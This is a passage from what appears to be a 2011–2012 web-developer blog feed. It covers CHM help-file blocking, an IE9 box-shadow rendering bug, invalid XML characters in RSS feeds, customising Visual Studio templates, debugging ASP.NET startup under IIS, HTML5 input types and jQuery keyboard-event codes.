The reason this happens is because files downloaded off the Internet - including ZIP files and CHM files contained in those zip files - are marked as as coming from the Internet and so can potentially be malicious, so do not get browsing rights on the local machine – they can’t access local Web content, which is exactly what help topics are. If you look at the URL of a help topic you see something like this:

mk:@MSITStore:C:\wwapps\wwIPStuff\wwipstuff.chm::/indexpage.htm

which points at a special Microsoft Url Moniker that in turn points the CHM file and a relative path within that HTML help file. Try pasting a URL like this into Internet Explorer and you'll see the help topic pop up in your browser (along with a warning most likely). Although the URL looks weird this still equates to a call to the local computer zone, the same as if you had navigated to a local file in IE which by default is not allowed.

Unfortunately, unlike Internet Explorer where you have the option of clicking a security toolbar, the CHM viewer simply refuses to load the page and you get an error page as shown above.

How to Fix This - Unblock the Help File

There's a workaround that lets you explicitly 'unblock' a CHM help file. To do this:

Open Windows Explorer
Find your CHM file
Right click and select Properties
Click the Unblock button on the General tab

Here's what the dialog looks like:

Clicking the Unblock button basically, tells Windows that you approve this Help File and allows topics to be viewed.

Is this insecure? Not unless you're running a really old Version of Windows (XP pre-SP1). In recent versions of Windows Internet Explorer pops up various security dialogs or fires script errors when potentially malicious operations are accessed (like loading Active Controls), so it's relatively safe to run local content in the CHM viewer. Since most help files don't contain script or only load script that runs pure JavaScript access web resources this works fine without issues.

How to avoid this Problem

As an application developer there's a simple solution around this problem: Always install your Help Files with an Installer. The above security warning pop up because Windows can't validate the source of the CHM file. However, if the help file is installed as part of an installation the installation and all files associated with that installation including the help file are trusted. A fully installed Help File of an application works just fine because it is trusted by Windows.

Summary

It's annoying as all hell that this sort of obtrusive marking is necessary, but it's admittedly a necessary evil because of Microsoft's use of the insecure Internet Explorer engine that drives the CHM Html Engine's topic viewer. Because help files are viewing local content and script is allowed to execute in CHM files there's potential for malicious code hiding in CHM files and the above precautions are supposed to avoid any issues.

IE9 not rendering box-shadow Elements inside of Table Cells

Rick Strahl — Wed, 04 Jan 2012 02:44:15 GMT

Ran into an annoying problem today with IE 9. Slowly updating some older sites with CSS 3 tags and for the most part IE9 does a reasonably decent job of working with the new CSS 3 features. Not all by a long shot but at least some of the more useful ones like border-radius and box-shadow are supported.

Until today I was happy to see that IE supported box-shadow just fine, but I ran into a problem with some old markup that uses tables for its main layout sections. I found that inside of a table cell IE fails to render a box-shadow.

Below are images from Chrome (left) and IE 9 (right) of the same content:

The download and purchase images are rendered with:

<a href="download.asp" style="display:block;margin: 10px;"><img src="../images/download.gif" class="boxshadow roundbox" /></a>

where the .boxshadow and .roundbox styles look like this:

.boxshadow 
{
  -moz-box-shadow: 3px 3px 5px #535353;
  -webkit-box-shadow: 3px 3px 5px #535353;       
  box-shadow: 3px 3px 5px #535353;
}
.roundbox
{  
  -moz-border-radius: 6px 6px 6px 6px;
  -webkit-border-radius: 6px;  
  border-radius: 6px 6px 6px 6px;
}

And the Problem is… collapsed Table Borders

Now normally these two styles work just fine in IE 9 when applied to elements. But the box-shadow doesn't work inside of this markup - because the parent container is a table cell.

<td class="sidebar" style="border-collapse: collapse">

…

   <a href="download.asp" style="display:block;margin: 10px;"><img src="../images/download.gif" class="boxshadow roundbox" /></a>

   …
</td>

This HTML causes the image to not show a shadow. In actuality I'm not styling inline, but as part of my browser Reset I have the following in my master .css file:

table

{
    border-collapse: collapse;
    border-spacing: 0;
}

which has the same effect as the inline style. border-collapse by default inherits from the parent and so the TD inherits from table and tr - so TD tags are effectively collapsed.

You can check out a test document that demonstrates this behavior here in this CodePaste.net snippet or run it here.

How to work around this Issue

To get IE9 to render the shadows inside of the TD tag correctly, I can just change the style explicitly NOT to use border-collapse:

<td class="sidebar" style="border-collapse: separate; border-width: 0;">

Or better yet (thanks to David's comment below), you can add the border-collapse: separate to the .boxshadow style like this:

.boxshadow 
{
  -moz-box-shadow: 3px 3px 5px #535353;
  -webkit-box-shadow: 3px 3px 5px #535353;       
  box-shadow: 3px 3px 5px #535353;
  border-collapse: separate;
}

With either of these approaches IE renders the shadows correctly.

Do you really need border-collapse?

Should you bother with border-collapse? I think so! Collapsed borders render flat as a single fat line if a border-width and border-color are assigned, while separated borders render a thin line with a bunch of weird white space around it or worse render a old skool 3D raised border which is terribly ugly as well. So as a matter of course in any app my browser Reset includes the above code to make sure all tables with borders render the same flat borders.

As you probably know, IE has all sorts of rendering issues in tables and on backgrounds (opacity backgrounds or image backgrounds) most of which is caused by the way that IE internally uses ActiveX filters to apply these effects. Apparently collapsed borders are yet one more item that causes problems with rendering.

There you have it. Another crappy failure in IE we have to check for now, just one more reason to hate Internet Explorer. Luckily this one has a reasonably easy workaround. I hope this helps out somebody and saves them the hour I spent trying to figure out what caused this problem in the first place.

Resources

Posted in HTML Internet Explorer

XmlWriter and lower ASCII characters

Rick Strahl — Mon, 02 Jan 2012 10:36:44 GMT

Ran into an interesting problem today on my CodePaste.net site: The main RSS and ATOM feeds on the site were broken because one code snippet on the site contained a lower ASCII character (CHR(3)). I don't think this was done on purpose but it was enough to make the feeds fail.

After quite a bit of debugging and throwing in a custom error handler into my actual feed generation code that just spit out the raw error instead of running it through the ASP.NET MVC and my own error pipeline I found the actual error.

The lovely base exception and error trace I got looked like this:

Error: '', hexadecimal value 0x03, is an invalid character.

at System.Xml.XmlUtf8RawTextWriter.InvalidXmlChar(Int32 ch, Byte* pDst, Boolean entitize)
at System.Xml.XmlUtf8RawTextWriter.WriteElementTextBlock(Char* pSrc, Char* pSrcEnd)
at System.Xml.XmlUtf8RawTextWriter.WriteString(String text)
at System.Xml.XmlWellFormedWriter.WriteString(String text)
at System.Xml.XmlWriter.WriteElementString(String localName, String ns, String value)
at System.ServiceModel.Syndication.Rss20FeedFormatter.WriteItemContents(XmlWriter writer, SyndicationItem item, Uri feedBaseUri)
at System.ServiceModel.Syndication.Rss20FeedFormatter.WriteItem(XmlWriter writer, SyndicationItem item, Uri feedBaseUri)
at System.ServiceModel.Syndication.Rss20FeedFormatter.WriteItems(XmlWriter writer, IEnumerable`1 items, Uri feedBaseUri)
at System.ServiceModel.Syndication.Rss20FeedFormatter.WriteFeed(XmlWriter writer)
at System.ServiceModel.Syndication.Rss20FeedFormatter.WriteTo(XmlWriter writer)
at CodePasteMvc.Controllers.ApiControllerBase.GetFeed(Object instance) in C:\Projects2010\CodePaste\CodePasteMvc\Controllers\ApiControllerBase.cs:line 131

XML doesn't like extended ASCII Characters

It turns out the issue is that XML in general does not deal well with lower ASCII characters. According to the XML spec it looks like any characters below 0x09 are invalid. If you generate an XML document in .NET with an embedded  entity (as mine did to create the error above), you tend to get an XML document error when displaying it in a viewer. For example, here's what the result of my feed output looks like with the invalid character embedded inside of Chrome which displays RSS feeds as raw XML by default:

Other browsers show similar error messages. The nice thing about Chrome is that you can actually view source and jump down to see the line that causes the error which allowed me to track down the actual message that failed.

If you create an XML document that contains a 0x03 character the XML writer fails outright with the error:

'', hexadecimal value 0x03, is an invalid character.

The good news is that this behavior is overridable so XML output can at least be created by using the XmlSettings object when configuring the XmlWriter instance. In my RSS configuration code this looks something like this:

MemoryStream ms = new MemoryStream();
var settings = new XmlWriterSettings()
{
    CheckCharacters = false
};
XmlWriter writer = XmlWriter.Create(ms,settings);

and voila the feed now generates.

Now generally this is probably NOT a good idea, because as mentioned above these characters are illegal and if you view a raw XML document you'll get validation errors. Luckily though most RSS feed readers however don't care and happily accept and display the feed correctly, which is good because it got me over an embarrassing hump until I figured out a better solution.

How to handle extended Characters?

I was glad to get the feed fixed for the time being, but now I was still stuck with an interesting dilemma. CodePaste.net accepts user input for code snippets and those code snippets can contain just about anything. This means that ASP.NET's standard request filtering cannot be applied to this content. The code content displayed is encoded before display so for the HTML end the CHR(3) input is not really an issue.

While invisible characters are hardly useful in user input it's not uncommon that odd characters show up in code snippets. You know the old fat fingering that happens when you're in the middle of a coding session and those invisible characters do end up sometimes in code editors and then end up pasted into the HTML textbox for pasting as a Codepaste.net snippet.

The question is how to filter this text? Looking back at the XML Charset Spec it looks like all characters below 0x20 (space) except for 0x09 (tab), 0x0A (LF), 0x0D (CR) are illegal. So applying the following filter with a RegEx should work to remove invalid characters:

string code = Regex.Replace(item.Code, @"[\u0000-\u0008,\u000B,\u000C,\u000E-\u001F]", "");

Applying this RegEx to the code snippet (and title) eliminates the problems and the feed renders cleanly.

Posted in .NET XML

Changing the default HTML Templates to HTML5 in Visual Studio

Rick Strahl — Fri, 23 Dec 2011 12:19:34 GMT

If you're using Visual Studio 2010 to create Web applications, you probably have found out that the default Web templates for ASP.NET Web Forms and Master pages and plain HTML pages all create HTML 4 XHTML headers like this:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="$fileinputname$.aspx.cs" Inherits="$rootnamespace$.$classname$" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

Now I don't know about you, but I'm happy to use HTML5's simple DOCTYPE definition. The first thing I tend to do is manually change my document header so that it looks like this:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="$fileinputname$.aspx.cs" Inherits="$rootnamespace$.$classname$" %>
<!DOCTYPE html>
<html>

Wouldn't it be nice if this was the default?

If you have a few minutes it's easy to change the stock templates in Visual Studio, or if you prefer you can create your own custom templates to exactly suit your needs.

Stock templates in Visual Studio 2010

All the default document types in Visual Studio are based on templates which are stored conveniently in .zip files. The folder where Visual Studio stores its HTML templates for Web Application Projects lives in this location:

C:\Program Files (x86)\Visual Studio 2010\Common7\IDE\ItemTemplates\CSharp\Web\1033

If you're using Web Site project the location is:

C:\Program Files (x86)\Visual Studio 2010\Common7\IDE\ItemTemplates\Web\CSharp\1033

There are a ton of templates in both folders. For WebForms the one we want is - not surprisingly - WebForms.zip. If you open up WebForm.zip with your favorite Zip tool (or Explorer) you'll see something like this for Web Application Projects:

You can see the three templates - the ASPX, .cs and designer files in the zip file. You can edit all of these, but for our purpose here I'll just change the HTML header.

If I open the default.aspx page you see the following default markup:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="$fileinputname$.aspx.cs" Inherits="$rootnamespace$.$classname$" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    
    </div>
    </form>
</body>
</html>

It's a template so you see a few template expressions like $fileinputname$ and $rootnamespace$ in the document. Visual Studio fills those values in when the template is loaded and a new item added to a project. However, the rest of the document can be changed to your heart's delight. For the basic WebForms template I simply added the HTML 5 doctype header like this:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="$fileinputname$.aspx.cs" Inherits="$rootnamespace$.$classname$" %>
<!DOCTYPE html>
<html>
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    
    </div>
    </form>
</body>
</html>

Save the file and make sure that the zip file gets updated with the saved data (check: Open the Zip file again and edit the file again to make sure). If you use any recent zipping tool (or even Explorer) you will be able to simply edit the file and save it to write the changes to the Zip file.

Rebuild the TemplateCache

You're not quite done yet, unfortunately. Once you've updated your zip template you need to override the Cache that Visual Studio creates from templates. Visual Studio internally unzips these template zip files and stores them in a TemplateCache folder which lives in:

C:\Program Files (x86)\Visual Studio 2010\Common7\IDE\ItemTemplatesCache\CSharp\Web\1033\WebForms.zip

C:\Program Files (x86)\Visual Studio 2010\Common7\IDE\ItemTemplatesCache\Web\CSharp\1033\WebForms.zip

Basically there are folders that mimic the .zip files and hold the unzipped content on disk. Updating the Zip file in the ItemTemplates folder on its own will not yet give you the new template until the TemplateCache has been updated.

To do this you need to run:

DevEnv /InstallVsTemplates

from the Visual Studio Command Prompt. This recreates the template cache with the updated templates you modified.

Alternately I also found that you can delete all the folders in the ItemTempaltesCache folder which effectively clears the cache. Visual Studio will then use the templates directly from the zip file. This can be useful if you're mucking around with the templates a bit or you're trying out multiple templates all at once as it bypasses the Template registration steps. When you're all done though it's a good idea to /InstallVsTemplates just to be 'correct' about it.

While you're at it you probably also want to change:

HtmlPage.zip
MasterPage.zip

along the same lines. Note that the various Razor templates already use HTML5 doc headers, so no need to update them for HTML 5.

Creating new Templates

Changing the stock templates is useful because you probably use them all the time every day. But if you want to make sweeping changes to templates, or you want to have multiple templates that do various specific tasks, it's probably better to create brand spanking new templates instead. It's also very easy to create brand new templates. One of the easiest ways to do that is actually built right into Visual Studio via the Template Export mechanism.

Let's look at an example. I'll use a Web Application project here, but the same works for any kind of project: Web Site, MVC w/ Razor, Web Pages.

Let's start with a page that acts as my default template I'm going to create. This template includes a few basic setups for some base layout that is common on sample pages I create:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="WebApplication10.WebForm1" %>
<!DOCTYPE html>
<html>
<head id="Head" runat="server">
    <title></title>
    <link href="css/westwind.css" rel="stylesheet" type="text/css" />
    <script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"></script>
    <script type="text/javascript">
        if (typeof (jQuery) == 'undefined')
            document.write(unescape("%3Cscript src='scripts/jquery.min.js' type='text/javascript'%3E%3C/script%3E"));
    </script>
</head>
<body>
    <form id="form1" runat="server">
    
    <h1></h1>

    <div class="toolbarcontainer">
        <a href="" class="hoverpanel"><img src="css/images/home.gif" /> Home</a>
        <a href="" class="hoverpanel"><img src="css/images/refresh.gif" /> Refresh</a>
    </div>
    
    <div class="containercontent">
    
    
    </div>
    </form>
</body>
</html>

Now to create a template from this page:

Select the Web project or any file within it
Click on File | Export Template and select Item Template

Click Next and select the file or files in the project to export
Fill in the info for the template:

This ends up creating a new template in your My Documents folder:
<MyDocuments>\Visual Studio 2010\My Exported Templates

and

<MyDocuments>\Visual Studio 2010\Templates\ItemTemplates\Visual C#

You might want to move the latter file into the

C:\Users\rstrahl\Documents\Visual Studio 2010\Templates\ItemTemplates\Visual C#\Web

folder, so the template properly shows up in the Web folder which then looks like this in the Add New Item dialog:

When you select the template it now produces your custom HTML for the template you created.

Templates A-GoGo

Templates are a nice way to create pre-fab content. I've found it useful for certain kinds of projects to create project specific templates just so some common content can be loaded into the page. While WebForm Master and Razor Content Pages remove some of the need to build large custom headers, for some situations having custom content pumped directly into pages is still useful. Templates make this task easy and save you from repetitive typing. It's worth the effort to spent a little time to customize those templates you use daily to fit your needs. Whether it's changing the existing templates or create brand new ones, you now have the tools to customize to your hearts' content. Go for it!

Posted in ASP.NET .NET HTML5

Debugging Application_Start and Module Initialization with IIS and Visual Studio

Rick Strahl — Thu, 15 Dec 2011 10:19:04 GMT

Recently I've seen quite a few questions pop up in regards to debugging ASP.NET application initialization. Most commonly I see something along these lines:

I'm trying to debug my ASP.NET application and am starting the Debugger, but it won't stop on code in my Application_Start event

Yup, been there done that.

What does Application_Start do?

Application_Start is pseudo handler that ASP.NET checks for during initialization of an ASP.NET application - if one exists it's fired during the application's initialization process which occurs specifically when the HttpRuntime instance is started. Effectively Application_Start is fired exactly once when the Web application's AppDomain starts. Application_Start is simply a short cut that makes it consistent with the other Application_ events that are available in global.asax.cs even though it is not actually an HttpApplication event like most other Application_ handlers. Remember that Global.asax is your application's subclass of the HttpApplication object:

public class Global : System.Web.HttpApplication

so Global.asax.cs inherits the HttpApplication and this instance is what ASP.NET uses to run your application. You can always access this instance with HttpContext.Current.HttpApplicationInstance. ASP.NET creates a pool of multiple HttpApplication instances that are assigned to each request being processed, but Application_Start fires only exactly once during the Web application's lifetime not for each instance of HttpApplication started.

Because Application_Start fires only when the HttpRuntime is initialized, it's a common hook point for application configuration tasks that need to happen only once during the lifetime of the application. It's perfect for setting static values that affect the entire running application or set up global configuration settings that get reused throughout the application. Application_Start can also be used to dynamically add new modules to the processing chain at runtime.

Application initialization extends beyond Application_Start. There's other code that fires during the one time initialization as well. HttpModules and their Init() handlers that fire to hook up the actual module events, also fire during this initialization stage. Likewise you can't debug these Init() handlers when debugging your code in the full version of IIS. I'm sure there's other code in ASP.NET that fires during application initialization but these two are the most common scenarios you might run into with user code.

IIS and Application_Start Debugging from Visual Studio

Problems with debugging Application_Start come up when you try to debug this initialization code when running the full version of IIS. It doesn't happen when you run the Visual Studio Web Server or IIS Express - it only occurs when you run the full version of IIS.

The problem is caused by the way that Visual Studio attaches the debugger to IIS when running ASP.NET applications, which occurs AFTER the application initialization phase and so is too late to actually stop on a breakpoint in Application_Start.

The code of course still executes, but the debugger doesn't trigger any breakpoints if you simply press F5 to debug in Visual Studio. If you set a break point like this (when running in full IIS):

the breakpoint won't trigger.

Likewise if you have code in an HttpModule's Init() handler which also fires as part of the runtime initialization code, the debugger won't trigger there either:

If you don't know what's happening it's easy to assume that this code is never firing, but that's not the case. The code fires, only the debugger is not triggered when the code is executed by IIS.

Easiest Solution: Use the Visual Studio Web Server or IIS Express

Debugging of Application_Start - and also HttpModule.Init() handlers - occurs only when running the full version of IIS. When running the Visual Studio built-in Web Server or IIS Express there's no problem debugging application initialization. So one easy solution to debugging Application_Init and Module Initialization code is to simply switch to using the built in Visual Studio Web Server (or IIS Express) as opposed to the full version of IIS:

Now if you press F5 to debug from within Visual Studio the debugger happily triggers on your breakpoint. This works because Visual Studio actually launches the local server EXE manually and so can easily attach the debugger on startup. Inside of IIS the application pool is actually loaded from the IIS Admin service and Visual Studio has to attach to the Application Pool Exe after it's been started.

If you're already running one of these local servers for all your debugging then you shouldn't really have run into this issue in the first place and this is certainly a good way to go. In many environments it makes perfect sense to run the local servers.

Even if you're like me and you prefer to run the full version of IIS, and you happen to need to debug your Application_Start or other initialization code it might be worthwhile to switch temporarily to one of the local servers to debug the issue. It's the easiest way to get past any issues you might have during application initialization.

Debugging IIS Initialization in Visual Studio

If you definitely need to debug your startup code in the full version of IIS there are other ways to get the debugger attached as well. It won't work with the F5 run menu and it requires a little more work.

You can use the System.Diagnostics.Debugger.Break() method to force the Web application to break into the debugger:

protected void Application_Start(object sender, EventArgs e)
{
    Debugger.Break();

    …
}

Add this code to your Application_Start or other initialization code like Module.Init() code where you want to break.

Before you do anything else do:

IISReset

from the Windows RUN box to ensure that IIS has been shut down and your Application Pool is in fact going to start up fresh.

Then open a page on your Web site.

When you hit this page, Visual Studio will pop up a debugger dialog like this:

Click yes, and Visual Studio will then start up a new instance and display your code. If your code is set for debugging (ie. the PDB file exists) you'll be able to step through your code and see watch and locals information.

Here's what the debugger session looks like:

You can see that now we're debugging the w3wp process directly. The debugger has attached using a different route bypassing the Visual Studio F5 startup and instead directly attaching the debugger to the process.

One downside of this setup is that you can't see your entire project while debugging this way, but you can step into any code that symbols (PDB files) are available for. So if you needed to step into a module that resides in a separate assembly for example you can do that as long as that assembly and the .pdb file is available.

Summary

Hopefully you don't have a lot of code in your Web application's initialization code and hopefully you never actually need to debug it :-) Even if you do have to debug your startup code it's not likely to be a frequent task.

But it does come in handy at times to be able to do so directly in IIS so you can see the entire IIS environment including parent hierarchy and modules that are loading up in your application. In the past I've had some nasty module configuration conflicts between my virtual and the parent directories and being able to step into the live environment directly in IIS was a lot easier than trying to write debug log information out to a log file.

It's one of those edge case issues that comes up very rarely, but when you need it, you'll be glad you know how to debug your code in the live environment…

Posted in ASP.NET IIS7 IIS

HTML 5 Input Types - How useful is this really going to be?

Rick Strahl — Sun, 11 Dec 2011 05:13:01 GMT

HTML5 introduces a number of new input types that are meant to provide a richer user input experience. It seems like this should be a good thing, given that we've basically been stuck with a very small and limited set of stock input controls in HTML.

HTML5 aims to change that with input type extensions that allow you to edit and validate special types of text input. The new input types that are available in HTML5 are the following:

email
url
number
range
Date pickers (date, month, week, time, datetime, datetime-local)
search
color

Some of these act as validators (email, url, number) while others are meant as helpers to provide richer functionality like DataPicker, Range, Color and Search options.

What do you get?

A number of newer browsers now support some of the new HTML 5 input types and provide limited user hints and validation on the client. For example in FireFox 8 if I type in an invalid email address into my login dialog and tab off I get this display:

<input type="email" style="width:250px;" id="Username" name="Username">

and when I submit the form I get:

Chrome does something similar although frankly it looks a lot nicer than the klunky FireFox message.

Note that in both cases the form won't submit until a valid email address has been entered.

Rich Interfaces? Maybe not

In theory browsers are supposed to implement rich interfaces to handle some of these interface types. For example, dates should be shown as a date picker. Current implementations in this department however are really sad at best. Check out the date field displays here in Chrome:

The 'user interface' consists of little more than an up-down button which increases decreases the date by a day. Additionally the date is displayed in universal format rather than locale adjusted format for the current browser or language. AFAIK there's no real clean way to style any of this either.

Opera on the other hand provides a number of editors, but boy are they ugly:

The date picker that actually pops up also isn't any better looking. Even here the date and time are displayed in universal format. Again there appears to be no way to style this stuff so it's bound to clash hard with any UI layout you have.

You can play around with some of these at:

http://www.west-wind.com/WestwindWebToolkit/samples/Ajax/html5andCss3/Html5InputControls.aspx

Styling

You also need to remember that when you start styling the new HTML5 input controls that you need to include each one of them individually for each style:

.containercontent input[type=text],
.containercontent input[type=email],
.containercontent input[type=search],
.containercontent input[type=url]
{
    width: 400px;
}

This is both advantageous and tedious. Advantageous because it provides for semantic styling as you can reference exactly what each input element should look like. But it's also more tedious in that you now have to specify each of 15 or so input types that apply to what used to be text input. It was a whole lot easier to style just input[type=text]. This is not a big deal but just something to think of that will potentially require some extra work for the design layout process.

Good News Bad News

This existing browser behavior of HTML 5 input tags raises all sorts of questions. I already mentioned the styling is a big issue - how do you get the UI to match your HTML's existing layout. But more importantly it seems that the new HTML input element behaviors are going to conflict with existing validation and custom input control types. If you're already using a different date picker like say jQuery UI date picker using code like this:

$().ready(function () {
    $("input[type=date]")
            .datepicker({ showOn: 'button',
                buttonImageOnly: true,
                buttonImage: '../../images/calendar.png',
                buttonText: 'Select date',
                showButtonPanel: true                        
            });
})

You can end up with lovely stuff like this:

Ouch! The date box doesn't support my local American date and I can't even submit the form. Major FAIL there.

There are other similar scenarios - the url type attribute in Firefox will complain about an protocol-less url, while in Chrome it'll automatically append the http:// in front of the URL. Either of these behaviors can be problematic depending on what you're trying to achieve in your form.

To be fair you can turn off the form validation on the form submission level:

<input type="submit" id="btnSubmit" name="btnSubmit" value="Save" 
       class="submitbutton" formnovalidate="formnovalidate" />

to avoid frivolous validation. But then you might as well use a input type=text control.

So in the end use of the new HTML5 input elements may not be as useful as I had hoped. Lack of control over the input becomes a big problem and lack of styling makes these controls look out of place. Worst of all though the validation can seriously get in the way unless you disable the validation diminishing the value significantly. It certainly isn't going to replace existing client side validation schemes - since you most likely need more sophisticated validation than just these general types. And if you leave it on for the base validations and use custom validations for your custom logic, the two are likely to look very different for a very disjointed feature.

To HTML5 or not to HTML5

There's a big momentum behind HTML5 these days, but every time I look at part of the new features I'm just aghast with how poorly these specs are drafted and don't account for common usage scenarios. Or are too vague to let browser vendors skimp on feature sets that make the functionality work across browsers more consistently (video formats anyone?)

I definitely think that it's high time HTML gets better input support, but the current HTML 5 state of affairs isn't going to help much. In fact, I think it's going to get in the way more than it actually helps…

It seems to me it wouldn't be rocket science to build basic user input controls like a date picker that actually address the 90%+ scenario. Pick a date from a dropdown and display the date in local browser time format. How hard could that possibly be? Or have a URL validator that understands both full URLs and partial URLs. I mean that's a problem that's been solved many times over in just about any application that accepts URLs as user input, right? Heck mobile device browsers actually get this right.

But no, on desktop browsers we get everything in a standards compliant geek format that you can't possibly push on to users. :-( Let's hope going forward that things will improve and more thought to the end user scenarios will go into the actual browser implementations.

I understand it's not an easy problem to solve - no one solution is going to fit every situation, but the crap that's currently shipping in desktop browsers is next to useless or worse disruptive and actually makes the controls unusable in many scenarios. At the very least these controls need full opt-out settings that leave the styling and validation to the designer/developer, but leaves the semantic markup in place. One can hope…

Your Turn

What do you think? Have you played with HTML 5 input controls? Do you think these new input control features would help you? What would you need to make them useful?

Posted in HTML ASP.NET HTML5

HTML 5 Input Types on WebForms Controls

Rick Strahl — Sun, 11 Dec 2011 04:24:48 GMT

Did you know that you can use HTML5 input types with ASP.NET WebForms controls? I wasn't sure until I tried it today:

<asp:TextBox runat="server" ID="Username" Width="250px"  type="email" />

which properly produces this HTML5 compliant HTML output:

<input type="email" style="width:250px;" id="Username" name="Username">

That this works shouldn't come as a big surprise since ASP.NET always has supported 'extra' attributes on Web Controls to render into the HTML. However, the input type seems like a pretty core feature in input controls and the control does have a TextMode property that already partially addresses this task. Nevertheless, explicitly specifying the type attribute allows you to override the type and so provide custom HTML 5 input types.

In short - nice! HTML5 input types are supported in WebForms without any framework changes or updates.

[updated from comments]
Apparently, in order for this to work you need an update for for the .NET 4 runtimes which was shipped with Visual Studio 2010 SP1. However on live servers you might have to install the Hotfix described in the previous link. I say might, because this code worked on my live server and I didn't explicitly install the hotfix - it appears that some of the .NET 4 updates through Windows Update must have addressed this. To be sure you should test a page that holds controls with HTML5 types to ensure the server will handle this - if not install the hotfix.

Posted in ASP.NET

A Key Code Checker for DOM Keyboard Events

Rick Strahl — Thu, 08 Dec 2011 11:47:20 GMT

If you've ever written some code that needs to deal with individual keystrokes entered and to 'translate' or parse them, you've probably figured out that while on the surface it all looks pretty easy with DOM event processing, it's actually quite tricky to get accurate key information. There are several keyboard event properties available and - even with jQuery - various browsers handle these event properties slightly differently.

In fact, I realized that almost every time I run into a problem with keyCodes in event handling code I add a bunch of console.log statements to figure out exactly what keyCodes are coming back for each of the available events. So tonight I sat down and threw together a small form that lets me see all this information at a glance on one page.

You can check out my Key Code Tester and play around with it in various browsers:

Try the Key Code Checker Example

If you try this in various browsers, you'll find that you get a rather large divergence of values for the various events.

But before we look at the actual results and some suggestions, let's back up for a second and explain how key handling in the DOM works.

Key Event Handling for the DOM

The HTML DOM has support for keyboard events that fire when you press keys anywhere in the document. The most common place where the event trapping matters is on input controls like a textbox, but it also can work in any other DOM element like a <div>.

The DOM keyboard input event model has a number of events to handle key events that you can handle:

keydown
keypress
keyup

These events are fairly self-explanatory on the surface and they fire in the order shown above. Each event can be hooked up to an event handler that receives a DOM event parameter which contains information like keyCode, charCode and which as well as shift,ctl, alt states you can look at. Most modern browsers support the keyCode, charCode and which properties. which is a special property that returns the 'significant' value from an event which in the case of the key events tends to be the keyCode or if that is empty the charCode. charCode and which are not available on old versions of IE pre version 9. This can get tricky to check for quickly.and this is where jQuery comes in and provides at least a minimal bit of normalization of these event values.

jQuery Event Normalization of Key Event Properties

jQuery's Event Object supports keyCode, charCode and which properties as well, but you typically should use the which property with it. jQuery normalizes which based on keyCode or charCode. It checks keyCode first and if that's empty reads the charCode which should yield a valid keyboard code.

Back to the keyboard events: keydown fires as a key is pressed down. keypress is fired immediately after keydown, but unlike keydown and keyup it fires only on 'visible' characters that are printable (FireFox and Opera don't follow the spec and always fire). keyup fires after keypress when the keys are released.

At any point during the event handler processing for the keyboard events you can return false which causes the event bubbling to stop. When false is returned further processing stops and key events following the current key event won't fire. If you return false from keyDown, keypress and keyup will not be fired.

Using jQuery it's very easy to handle keyboard events. Here's an example for keydown handling:

$("#txtKey")
    .keydown(function (e) {
    var keyCode = e.keyCode;
    var which = e.which;
    var charCode = e.charCode;
    
    // .. do something for key handling       

    // pass through key stroke with true 
    // keep keystroke from processing further (or get entered) with false 
    return true;
});

Sample Implementation

The above form was implemented using a little bit of script code that basically handles all three key events. It then calls a common function and displays the various key code values in the appropriate box in the page.

The code to do this is pretty simple, but I post it here as it gives a little bit of insight on how the various key event properties work:

    <script type="text/javascript">
        $( function () {
            $("#txtKey")
                .focus()
                .keypress(handleKey)
                .keydown(handleKey)                
                .keyup(handleKey);
        });

        function handleKey(e) {            
            var keyCode = e.keyCode;
            var charCode = e.charCode;
            var which = e.which;

            var type = e.handleObj.origType;            
            var orig = e.orignalEvent;

            if (!keyCode)
                keyCode = "0";
            if (!which)
                which = "0";

            if (type == "keydown") {
                $("#divDown .mainvalue").text(keyCode);
                $("#divCharCodeDown .mainvalue").text(charCode);
                $("#divWhichDown .mainvalue").text(which);

                $("#divCharTyped .mainvalue:eq(1)")
                    .text("")
                    .text(String.fromCharCode(keyCode));

                // also clear out key press values in case it doesn't fire                
                $("#divCharTyped .mainvalue:eq(0)")
                    .html("&nbsp;")
                $("#divPress .mainvalue").text("");
                $("#divCharCodePress .mainvalue").text("");
                $("#divWhichPress .mainvalue").text("");
            }
            else if (type == "keypress") {                
                $("#divPress .mainvalue").text(keyCode);
                $("#divCharCodePress .mainvalue").text(charCode);
                $("#divWhichPress .mainvalue").text(which);
                
                $("#divCharTyped .mainvalue:eq(0)")
                    .text(String.fromCharCode(which));
            }
            else if (type == "keyup") {
                $("#divUp .mainvalue").text(keyCode);
                $("#divCharCodeUp .mainvalue").text(charCode);
                $("#divWhichUp .mainvalue").text(which);

                $("#divCharTyped .mainvalue:eq(2)")
                    .text("")
                    .text(String.fromCharCode(keyCode));                
            }

            

            // must return true in order for keypress to fire
            // in all browsers. Remove character using setTimeout 
            // to delay and clear text after the fact.
            setTimeout(function () { $("#txtKey").val(""); }, 2);

            // always return true so keypress fires
            return true;
        }        
    </script>

Browser Divergence

I mentioned earlier that various browsers handle the various key codes differently. Check out the following when pressing the 'a' key in FireFox, Chrome, IE (8 standards mode), Opera respectively:

You can see the divergence here. FireFox doesn't get a good keyCode in the keyPress event, and instead gives a charCode. All other browsers tested return a valid keycode in all events. Notice that all browsers return consistent results with jQuery using the e.which property. The which property is clearly what you should use to get a reliable and consistent keyCode value that works across all browsers.

Suggestions

Use e.which when checking for Key Codes
When using jQuery it's best to use e.which in key events to check for key codes. e.which normalizes between all key combinations that I saw and provides the most consistent value across browsers.
If you need a Character Value from a Key Code use keypress Event
When you need to get a character value from a key event handle the keypress event as it's the only one that can receive a translated key code that reflects the actual character that the user typed and that would appear in the text box. You can use String.fromCharCode(e.which) to get the printable character.
Watch out for keypress Event Differences
